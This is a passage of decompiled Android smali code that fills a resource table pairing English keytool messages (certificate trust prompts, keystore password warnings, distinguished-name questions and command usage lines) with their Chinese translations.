                                                                              918const-string v3, "\u5728 <{0}> \u7684\u522b\u540d\u4e4b\u4e0b\uff0c\u8ba4\u8bc1\u5df2\u7ecf\u5b58\u5728\u4e8e CA keystore \u6574\u4e2a\u7cfb\u7edf\u4e4b\u4e2d"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\u60a8\u4ecd\u7136\u60f3\u8981\u5c06\u5b83\u6dfb\u52a0\u5230\u81ea\u5df1\u7684keystore \u5417\uff1f [\u5426]\uff1a "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\u4fe1\u4efb\u8fd9\u4e2a\u8ba4\u8bc1\uff1f [\u5426]\uff1a "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "\u662f"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "\u65b0 {0}\uff1a "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "\u5fc5\u987b\u662f\u4e0d\u540c\u7684\u5bc6\u7801"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "\u91cd\u65b0\u8f93\u5165\u65b0 {0}\uff1a "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "\u518d\u6b21\u8f93\u5165\u65b0\u5bc6\u7801: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "\u5b83\u4eec\u4e0d\u5339\u914d\u3002\u8bf7\u91cd\u8bd5"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "\u8f93\u5165 {0} \u522b\u540d\u540d\u79f0\uff1a "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "\u8f93\u5165\u65b0\u7684\u522b\u540d\t\uff08\u6309\u56de\u8f66\u952e\u4ee5\u53d6\u6d88\u5bf9\u6b64\u9879\u7684\u5bfc\u5165\uff09: "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "\u8f93\u5165\u522b\u540d\u540d\u79f0\uff1a "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t\uff08\u5982\u679c\u548c <{0}> \u7684\u76f8\u540c\uff0c\u6309\u56de\u8f66\uff09"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "\u6240\u6709\u8005:{0}\n\u7b7e\u53d1\u4eba:{1}\n\u5e8f\u5217\u53f7:{2}\n\u6709\u6548\u671f: {3} \u81f3{4}\n\u8bc1\u4e66\u6307\u7eb9:\n\t MD5:{5}\n\t SHA1:{6}\n\t \u7b7e\u540d\u7b97\u6cd5\u540d\u79f0:{7}\n\t \u7248\u672c: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\u60a8\u7684\u540d\u5b57\u4e0e\u59d3\u6c0f\u662f\u4ec0\u4e48\uff1f"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\u60a8\u7684\u7ec4\u7ec7\u5355\u4f4d\u540d\u79f0\u662f\u4ec0\u4e48\uff1f"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\u60a8\u7684\u7ec4\u7ec7\u540d\u79f0\u662f\u4ec0\u4e48\uff1f"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\u60a8\u6240\u5728\u7684\u57ce\u5e02\u6216\u533a\u57df\u540d\u79f0\u662f\u4ec0\u4e48\uff1f"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\u60a8\u6240\u5728\u7684\u5dde\u6216\u7701\u4efd\u540d\u79f0\u662f\u4ec0\u4e48\uff1f"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\u8be5\u5355\u4f4d\u7684\u4e24\u5b57\u6bcd\u56fd\u5bb6\u4ee3\u7801\u662f\u4ec0\u4e48"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "{0} \u6b63\u786e\u5417\uff1f"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "\u5426"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "\u662f"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]\uff1a "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "\u522b\u540d <{0}> \u6ca1\u6709\u5bc6\u94a5"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "\u522b\u540d <{0}> \u5f15\u7528\u4e86\u4e0d\u5c5e\u4e8e\u4e13\u7528\u5bc6\u94a5\u9879\u7684\u9879\u7c7b\u578b\u3002-keyclone \u547d\u4ee4\u4ec5\u652f\u6301\u5bf9\u4e13\u7528\u5bc6\u94a5\u9879\u7684\u514b\u9686"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** \u8b66\u544a \u8b66\u544a \u8b66\u544a *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "*\u4fdd\u5b58\u5728\u60a8\u7684 keystore \u4e2d\u6570\u636e\u7684\u5b8c\u6574\u6027 *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* srckeystore \u4e2d\u6240\u5b58\u50a8\u7684\u4fe1\u606f\u7684\u5b8c\u6574\u6027*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* \u5c1a\u672a\u88ab\u9a8c\u8bc1\uff01 \u4e3a\u4e86\u9a8c\u8bc1\u5176\u5b8c\u6574\u6027\uff0c *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "* \u60a8\u5fc5\u987b\u63d0\u4f9b\u60a8 keystore \u7684\u5bc6\u7801\u3002 *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* \u60a8\u5fc5\u987b\u63d0\u4f9b\u6e90\u5bc6\u94a5\u5e93\u53e3\u4ee4\u3002 *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "\u8ba4\u8bc1\u56de\u590d\u5e76\u672a\u5305\u542b <{0}> \u7684\u516c\u7528\u5bc6\u94a5"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "\u56de\u590d\u4e2d\u7684\u8ba4\u8bc1\u94fe\u4e0d\u5b8c\u6574"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "\u56de\u590d\u4e2d\u7684\u8ba4\u8bc1\u94fe\u672a\u9a8c\u8bc1\uff1a "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "\u56de\u590d\u4e2d\u7684\u6700\u9ad8\u7ea7\u8ba4\u8bc1\uff1a\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... \u662f\u4e0d\u53ef\u4fe1\u7684\u3002 "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "\u8fd8\u662f\u8981\u5b89\u88c5\u56de\u590d\uff1f [\u5426]\uff1a "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "\u5426"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "\u56de\u590d\u4e2d\u7684\u516c\u7528\u5bc6\u94a5\u4e0e keystore \u4e0d\u7b26"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "\u8ba4\u8bc1\u56de\u590d\u4e0ekeystore\u4e2d\u7684\u8ba4\u8bc1\u662f\u76f8\u540c\u7684"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "\u65e0\u6cd5\u4ece\u56de\u590d\u4e2d\u5efa\u7acb\u94fe\u63a5"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "\u9519\u8bef\u7684\u7b54\u6848\uff0c\u8bf7\u518d\u8bd5\u4e00\u6b21"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "\u6ca1\u6709\u751f\u6210\u5bc6\u94a5\uff0c\u522b\u540d <{0}> \u5df2\u7ecf\u5b58\u5728"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "\u8bf7\u63d0\u4f9b -keysize \u4ee5\u751f\u6210\u5bc6\u94a5"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "keytool \u7528\u6cd5\uff1a\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "\u6269\u5c55: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <\u522b\u540d>] [-sigalg <sigalg>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <csr_file>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <\u5bc6\u94a5\u5e93>] [-storepass <\u5b58\u50a8\u5e93\u53e3\u4ee4>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <\u5b58\u50a8\u7c7b\u578b>] [-providername <\u540d\u79f0>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <\u63d0\u4f9b\u65b9\u7c7b\u540d\u79f0> [-providerarg <\u53c2\u6570>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <\u8def\u5f84\u5217\u8868>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <\u522b\u540d>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <\u522b\u540d>] [-file <\u8ba4\u8bc1\u6587\u4ef6>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <\u522b\u540d>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <keyalg>] [-keysize <\u5bc6\u94a5\u5927\u5c0f>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <valDays>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <\u522b\u540d>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <\u522b\u540d>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <\u8ba4\u8bc1\u6587\u4ef6>] [-keypass <\u5bc6\u94a5\u5e93\u53e3\u4ee4>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <\u6e90\u5bc6\u94a5\u5e93>] [-destkeystore <\u76ee\u6807\u5bc6\u94a5\u5e93>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <\u6e90\u5b58\u50a8\u7c7b\u578b>] [-deststoretype <\u76ee\u6807\u5b58\u50a8\u7c7b\u578b>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
                                                                              1581const-string v3, "\t [-srcstorepass <srcstorepass>] [-deststorepass <deststorepass>]"
                                                                              1582aput-object v3, v2, v4
                                                                              1584const-string v3, "\t [-srcstorepass <\u6e90\u5b58\u50a8\u5e93\u53e3\u4ee4>] [-deststorepass <\u76ee\u6807\u5b58\u50a8\u5e93\u53e3\u4ee4>]"
                                                                              1585aput-object v3, v2, v5
                                                                              1586aput-object v2, v0, v1
                                                                              1587const/16 v1, 0xb0
                                                                              1588new-array v2, v6, [Ljava/lang/Object;
